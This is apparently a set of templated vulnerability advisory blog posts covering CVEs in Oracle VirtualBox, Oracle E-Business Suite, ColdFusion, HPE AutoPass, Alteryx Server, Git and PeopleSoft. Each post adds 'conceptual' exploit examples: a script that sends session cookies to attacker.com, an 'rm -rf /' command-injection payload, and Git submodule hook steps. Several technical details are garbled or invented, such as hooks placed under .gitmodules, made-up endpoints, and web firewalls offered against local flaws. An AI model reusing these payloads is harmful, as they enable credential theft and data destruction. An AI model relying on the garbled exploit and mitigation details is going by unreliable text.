Author: Ameeba

Overview

The Common Vulnerabilities and Exposures system has identified a critical vulnerability within the Oracle VM VirtualBox product of Oracle Virtualization. This vulnerability, designated as CVE-2025-53028, is notable for its high impact on system confidentiality, integrity, and availability. The exploit is particularly concerning, as successful execution can result in the potential takeover of the Oracle VM VirtualBox. The affected parties are those utilizing Oracle VM VirtualBox version 7.1.10. This blog post aims to provide an in-depth analysis and understanding of the vulnerability and its potential implications.

Vulnerability Summary

CVE ID: CVE-2025-53028
Severity: High (CVSS 3.1 Base Score: 8.2)
Attack Vector: Local
Privileges Required: High
User Interaction: None
Impact: Successful exploits can lead to potential system compromise and data leakage

Affected Products

Product | Affected Versions

Oracle VM VirtualBox | 7.1.10

How the Exploit Works

A high privileged attacker with logon access to the infrastructure where Oracle VM VirtualBox executes can exploit this vulnerability. The vulnerability lies in the Core component of the Oracle VM VirtualBox, and its exploitation may significantly impact additional products. A successful attack can result in the compromise of Oracle VM VirtualBox, with potential system takeover. This means that the attacker can execute arbitrary code, modify system data, or even create new accounts with full user rights.

Conceptual Example Code

While the exact details of the exploit aren’t disclosed to prevent misuse, a conceptual example might look like this:

# This is a pseudo-command, representing how an attacker with high privileges might exploit the system.
# The attacker uses an existing vulnerability to execute arbitrary commands.
$ oracle_vbox_exploit --execute "arbitrary_command"

This is a simplified conceptual representation. The actual exploit would likely involve a more complex command or series of commands that take advantage of the identified vulnerability in Oracle VM VirtualBox’s Core component.

Mitigation

The primary mitigation guidance for this vulnerability is to apply the vendor patch. Oracle has released a patch to address this vulnerability, and all users of Oracle VM VirtualBox version 7.1.10 are advised to apply the patch as soon as possible.
In the absence of the ability to patch immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can potentially detect and block attempts to exploit the vulnerability. However, they are not a permanent solution, and patching should not be delayed.
In conclusion, this vulnerability is a serious threat to any organization using Oracle VM VirtualBox version 7.1.10 due to its high severity score and the potential for system compromise. It is highly recommended to apply the provided security patch or employ WAF/IDS for temporary mitigation.

Overview

The vulnerability CVE-2025-53027 is a glaring security flaw found in the Oracle VM VirtualBox product of Oracle Virtualization, specifically in component 7.1.10. This vulnerability presents a potential threat to the confidentiality, integrity, and availability of user data and system resources. A high privileged attacker, with access to the infrastructure where the vulnerable version of Oracle VM VirtualBox is executed, can exploit this vulnerability to compromise the system. This exposes organizations and individual users to significant security risks, including data leakage and system compromise.

Vulnerability Summary

CVE ID: CVE-2025-53027
Severity: High, CVSS Score 8.2
Attack Vector: Local
Privileges Required: High
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Oracle VM VirtualBox | 7.1.10

How the Exploit Works

The vulnerability resides in the core component of Oracle VM VirtualBox. A high privileged attacker, with local access to the system, can exploit this vulnerability. The exact mechanism of the exploit is not detailed, but it involves leveraging the high-level access that the attacker already has in order to compromise Oracle VM VirtualBox. Once the exploit is successful, it can result in a change of the scope, impacting additional products and potentially leading to system takeover.

Conceptual Example Code

While a specific example of how the vulnerability might be exploited is not provided, an attacker with high privileges could potentially use a malicious script or command to exploit the vulnerability. A conceptual representation of a potential exploit could look like this:

$ sudo ./exploit CVE-2025-53027

This conceptual example is a representation of a potential exploitation scenario where an attacker uses a script (exploit) with sudo (superuser or high privilege) rights to exploit the vulnerability identified by CVE-2025-53027.

Mitigation Guidance

To mitigate this vulnerability, users are strongly advised to apply the vendor patch as soon as it becomes available. In the interim, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures to detect and prevent attempted exploits of this vulnerability. Regularly updating and patching your systems, conducting routine security audits, and maintaining a robust and proactive cybersecurity posture can also help protect against such vulnerabilities.

Overview

In today’s cybersecurity landscape, it is critical to stay informed about the latest vulnerabilities that could impact your systems. One such vulnerability is the CVE-2025-53024, affecting the Oracle VM VirtualBox product. This vulnerability holds significant potential for system compromise or data leakage. It is particularly concerning due to its severity, with a CVSS severity score of 8.2, indicating a high-risk vulnerability that can lead to serious consequences if exploited.
The vulnerability affects the Oracle VM VirtualBox version 7.1.10 and enables a high privileged attacker to compromise Oracle VM VirtualBox. This vulnerability, if exploited successfully, can also significantly impact additional products, posing a widespread threat to organizations utilizing the Oracle VM VirtualBox in their infrastructure.

Vulnerability Summary

CVE ID: CVE-2025-53024
Severity: High-Risk, CVSS score 8.2
Attack Vector: Local
Privileges Required: High
User Interaction: None
Impact: Successful exploitation can result in the takeover of Oracle VM VirtualBox, potentially leading to system compromise or data leakage.

Affected Products

Product | Affected Versions

Oracle VM VirtualBox | 7.1.10

How the Exploit Works

The vulnerability resides in the core component of Oracle VM VirtualBox. It allows a high privileged attacker with logon access to the infrastructure where Oracle VM VirtualBox executes to compromise it. The exploit does not require user interaction, and the attack can significantly impact additional products due to a scope change.

Conceptual Example Code

While a concrete example of the exploit code is not available, a conceptual scenario may look like the following:

# Gain high privileged access
sudo su
# Execute malicious command on the vulnerable Oracle VM VirtualBox
./exploit -target OracleVMVirtualBox -version 7.1.10

In this conceptual example, the attacker first gains high privileged access (this could be through a separate vulnerability or social engineering). Then, they execute a hypothetically malicious command targeting the vulnerable version of Oracle VM VirtualBox.

Mitigation Guidance

To mitigate this vulnerability, Oracle advises applying the vendor patch for the affected version of Oracle VM VirtualBox. In case the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions and can only limit the risk of exploitation. They are not capable of completely eliminating it. Therefore, updating to a patched version as soon as possible is highly recommended.

Overview

The cyber world is constantly plagued by vulnerabilities that could potentially lead to significant security breaches. One such recent discovery is the CVE-2025-50105, a vulnerability in the Oracle Universal Work Queue product of Oracle E-Business Suite. The affected versions are from 12.2.3 to 12.2.14.
The vulnerability matters significantly due to its high severity and potential impact. It allows a low privileged attacker with network access via HTTP to compromise Oracle Universal Work Queue. Successful exploitation can lead to unauthorized creation, deletion, or modification access to critical data, making it a significant concern for businesses relying on Oracle E-Business Suite.

Vulnerability Summary

CVE ID: CVE-2025-50105
Severity: High (8.1 CVSS Score)
Attack Vector: Network via HTTP
Privileges Required: Low
User Interaction: None
Impact: Unauthorized creation, deletion, or modification access to critical data or complete access to Oracle Universal Work Queue accessible data.

Affected Products

Product | Affected Versions

Oracle Universal Work Queue | 12.2.3-12.2.14

How the Exploit Works

The exploit leverages a vulnerability in the Work Provider Administration component of the Oracle Universal Work Queue. An attacker with low-level privileges can gain network access via HTTP and manipulate the system to gain unauthorized access to critical data. The attacker can create, delete, or modify the data, which can have severe implications for the integrity and confidentiality of the data stored in the Oracle Universal Work Queue.

Conceptual Example Code

Given below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /oracle/workqueue/admin HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "command": "modify", "target": "critical_data", "action": "delete_all" }

In the above example, the attacker sends a POST request to the Oracle Work Queue’s administration endpoint. The malicious payload instructs the system to modify the “critical_data” by performing a “delete_all” action. As a result, the attacker can cause significant damage to the system by deleting all critical data.
To protect against this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. Meanwhile, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation.

Overview

In this blog post, we will delve into the details of a critical vulnerability CVE-2025-49537, affecting the popular web application development platform, ColdFusion. This security flaw has a CVSS Severity Score of 7.9, making it a high-risk vulnerability that deserves immediate attention. Affected versions of ColdFusion include 2025.2, 2023.14, 2021.20 and earlier. The vulnerability could lead to improper neutralization of special elements used in an OS command (OS Command Injection) potentially resulting in arbitrary code execution by a high-privileged attacker. It’s worth noting that while exploitation requires user interaction, the impact could be substantial, including system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49537
Severity: High (7.9)
Attack Vector: OS Command Injection
Privileges Required: High
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ColdFusion | 2025.2
ColdFusion | 2023.14
ColdFusion | 2021.20 and earlier

How the Exploit Works

The vulnerability stems from the improper neutralization of special elements used in an OS command within ColdFusion. An attacker with high privileges can inject malicious commands into the system via the application. These commands are executed at the operating system level, providing the attacker with the potential to execute arbitrary code, alter system configurations, or access sensitive data.

Conceptual Example Code

Consider the conceptual example below that demonstrates how a malicious request might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "payload": "; rm -rf / --no-preserve-root;" }

In this example, the attacker sends a HTTP POST request to a vulnerable endpoint. The payload is a command injection that, if executed by the server, would delete all files on the system. This is merely illustrative and in practice, the injected commands could take many other forms, potentially much more subtle and damaging.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, or in cases where patching is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious activity.

Overview

The cybersecurity landscape is a complex and rapidly changing environment. One of the recent vulnerabilities that has caught the attention of professionals in the field is CVE-2024-51768. This significant security flaw affects the HPE AutoPass License Server (APLS), and more specifically, it is related to hsqldb, an open-source relational database management system. With a CVSS Severity Score of 8.0, it’s clear that this vulnerability has a serious potential to compromise systems and lead to data leakage. As HPE APLS is widely used across numerous industries, this flaw has broad potential for exploitation and deserves immediate attention.

Vulnerability Summary

CVE ID: CVE-2024-51768
Severity: High (CVSS: 8.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

HPE AutoPass License Server | Prior to 9.17

How the Exploit Works

The flaw (CVE-2024-51768) resides within the hsqldb database component used by the HPE AutoPass License Server. It enables a remote attacker to execute arbitrary code on the target server without requiring user interaction.
This vulnerability occurs because of improper input validation and insecure deserialization within the hsqldb component. An attacker can send specially crafted malicious data that will be processed by the server. This data can exploit the deserialization flaw to execute arbitrary code under the security context of the server process.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example does not represent actual exploit code, but rather provides an understanding of the type of malicious input an attacker might send to the server.

POST /hsqldb/deserialize HTTP/1.1
Host: target.example.com
Content-Type: application/x-java-serialized-object
{ "serialized_object": "base64_encoded_malicious_object" }

In this example, the attacker sends a POST request to an hsqldb endpoint on the server. The body of the request contains a malicious serialized object in Base64 format. When the server processes this object, it triggers the insecure deserialization vulnerability and allows the attacker’s code to be executed.

Mitigation Measures

To protect your systems from this vulnerability, it is strongly recommended to apply the vendor-supplied patch. HPE has released a fix in version 9.17 of the AutoPass License Server. For those who cannot immediately apply the patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation by identifying and blocking attempts to exploit this vulnerability. Always remember, timely patching and regular system updates form the cornerstone of effective cybersecurity.

Overview

In the rapidly evolving cyber landscape, new vulnerabilities are discovered regularly. One such vulnerability, identified as CVE-2025-28243, has been discovered in the Alteryx Server v.2023.1.1.460. This vulnerability allows HTML injection via a custom script to the pages component, leading to potential system compromise or data leakage. Given the widespread use of Alteryx Server in data analytics, this vulnerability has far-reaching implications for organizations that rely on the software for data processing and analytics.

Vulnerability Summary

CVE ID: CVE-2025-28243
Severity: High (8.0 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Alteryx Server | v.2023.1.1.460

How the Exploit Works

The vulnerability stems from the server’s inadequate sanitization of user input in the pages component. An attacker can craft an HTML script containing malicious code, which when executed, can lead to HTML injection. This can result in unauthorized access to sensitive information or even system compromise. The attacker can manipulate the HTML content that is displayed to the user, steal session cookies, or redirect the user to malicious web pages.

Conceptual Example Code

Let’s illustrate how this vulnerability might be exploited using a conceptual HTTP POST request. This example is purely illustrative and should not be used for malicious purposes.

POST /pages/script HTTP/1.1
Host: target.example.com
Content-Type: text/html
<html>
<body>
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
</body>
</html>

In this conceptual example, the attacker crafts an HTML script that redirects the user’s session cookie to a malicious website. If successful, this exploit could lead to unauthorized access to sensitive information or even system compromise.
Please note that the mitigation guidance for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.

Overview

This blog post delves into a crucial vulnerability, identified as CVE-2025-48384, that affects Git – a highly scalable, and distributed revision control system. This vulnerability pertains to the handling of submodule paths by Git, and if exploited, could lead to potential system compromise or even data leakage. With a CVSS severity score of 8.0, this vulnerability matter is significant due to its potential impact on countless developers and organizations worldwide who use Git as their version control system.

Vulnerability Summary

CVE ID: CVE-2025-48384
Severity: High (CVSS: 8.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Git | v2.43.6 and below
Git | v2.44.3 and below
Git | v2.45.3 and below
Git | v2.46.3 and below
Git | v2.47.2 and below
Git | v2.48.1 and below
Git | v2.49.0 and below
Git | v2.50.0 and below

How the Exploit Works

The vulnerability arises from Git’s improper handling of submodule paths. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). For values with a trailing CR, this is not quoted during writing, resulting in the loss of CR when the config is later read. If a submodule path contains a trailing CR, the altered path is read, leading to the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory and contains an executable post-checkout hook, the script may be unintentionally executed. This could allow an attacker to execute arbitrary commands in the system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents the malicious submodule configuration:

# Attacker creates a submodule with a trailing CR
git submodule add https://github.com/attacker/repo.git submodule\r
# The submodule contains a post-checkout hook
echo "#!/bin/sh\necho 'Compromised!'" > .gitmodules/hooks/post-checkout
chmod +x .gitmodules/hooks/post-checkout
# Attacker commits the malicious configuration
git add .gitmodules
git commit -m "Add malicious submodule"

When an unsuspecting user clones the repository and initializes the submodule, the post-checkout hook is executed:

git clone https://github.com/attacker/repo.git
cd repo
git submodule update --init
# Output: Compromised!

Mitigation

Users are urged to apply the vendor patch immediately. Git has released patches for this vulnerability in versions v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1. As a temporary mitigation, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block any suspicious activities associated with this exploit.

Overview

The CVE-2025-50062 vulnerability has been discovered in Oracle PeopleSoft’s Enterprise HCM Global Payroll Core product. This critical flaw potentially affects all organizations utilizing versions 9.2.51 and 9.2.52 of the software. The vulnerability is of significant concern as it allows a low-privileged attacker to compromise critical data through network access via HTTP. Unauthorized access, creation, modification, or deletion of sensitive data is possible, leading to a risk of system compromise or data leakage, which could have substantial impacts on an organization’s operations and reputation.

Vulnerability Summary

CVE ID: CVE-2025-50062
Severity: Critical – CVSS Score 8.1
Attack Vector: Network (HTTP)
Privileges Required: Low
User Interaction: None
Impact: Unauthorized creation, deletion, modification, and access to critical data or all PeopleSoft Enterprise HCM Global Payroll Core accessible data.

Affected Products

Product | Affected Versions

PeopleSoft Enterprise HCM Global Payroll Core | 9.2.51, 9.2.52

How the Exploit Works

The CVE-2025-50062 exploit takes advantage of a flaw within PeopleSoft Enterprise HCM Global Payroll Core software. A low privileged attacker with network access via HTTP can exploit this vulnerability, leading to unauthorized access to data. The attacker does not need any user interaction to perform this attack, making it particularly dangerous. Successful exploitation allows the attacker to create, delete, and modify critical data, potentially leading to unauthorized system control or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a malicious HTTP request:

POST /PeopleSoft/endpoint HTTP/1.1
Host: target.organization.com
Content-Type: application/json
{ "malicious_payload": "data_manipulation_code" }

In this example, the attacker sends a POST request with a malicious payload designed to manipulate data within the PeopleSoft Enterprise HCM Global Payroll Core software. The payload could potentially grant the attacker unauthorized access to sensitive data, or even full control over the system.

Mitigation

Oracle has already released patches to address this vulnerability. Affected organizations are urged to apply these patches as soon as possible. As a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. However, these are temporary solutions that do not fully address the vulnerability, and patch application remains the most effective mitigation method.

Overview

A serious vulnerability has been identified in the Oracle BI Publisher product, affecting versions 7.6.0.0.0, 8.2.0.0.0, and 12.2.1.4.0. This vulnerability, identified as CVE-2025-50060, enables attackers with low-level privileges and network access via HTTP to compromise the entire Oracle BI Publisher software. This blog post will provide a deep dive into this vulnerability, its potential impact, and the steps needed to mitigate its risk.
The impact of this vulnerability can be severe, potentially leading to unauthorized access, creation, deletion, or modification of critical data within the Oracle BI Publisher. This is particularly concerning for organizations using Oracle Analytics, as a successful exploit could compromise their entire system or result in substantial data leakage.

Vulnerability Summary

CVE ID: CVE-2025-50060
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized access, creation, deletion, or modification of critical data; potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Oracle BI Publisher | 7.6.0.0.0, 8.2.0.0.0, 12.2.1.4.0

How the Exploit Works

The exploit takes advantage of a vulnerability in Oracle BI Publisher’s Web Server component. An attacker with low privileges can use network access via HTTP to send a malicious request. This request can then be used to manipulate or access critical data within the Oracle BI Publisher. The vulnerability does not require any user interaction, making it easier for an attacker to execute a successful exploit.

Conceptual Example Code

Here’s a
conceptual
example of how the vulnerability might be exploited using a malicious HTTP request:

POST /vulnerable_endpoint HTTP/1.1
Host: target_oracle_BIPublisher.com
Content-Type: application/json
{ "malicious_payload": "data_manipulation_code_here" }

This request is sent to the vulnerable endpoint of the Oracle BI Publisher server. The malicious payload contains code that would result in unauthorized data access or manipulation if the vulnerability is not patched.

Mitigation

Oracle has released patches for the affected versions of Oracle BI Publisher. Organizations using these versions are strongly encouraged to apply these patches immediately. As a temporary mitigation, organizations can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS). However, these are only temporary solutions and do not fully eliminate the vulnerability. For full mitigation, application of the vendor patch is necessary.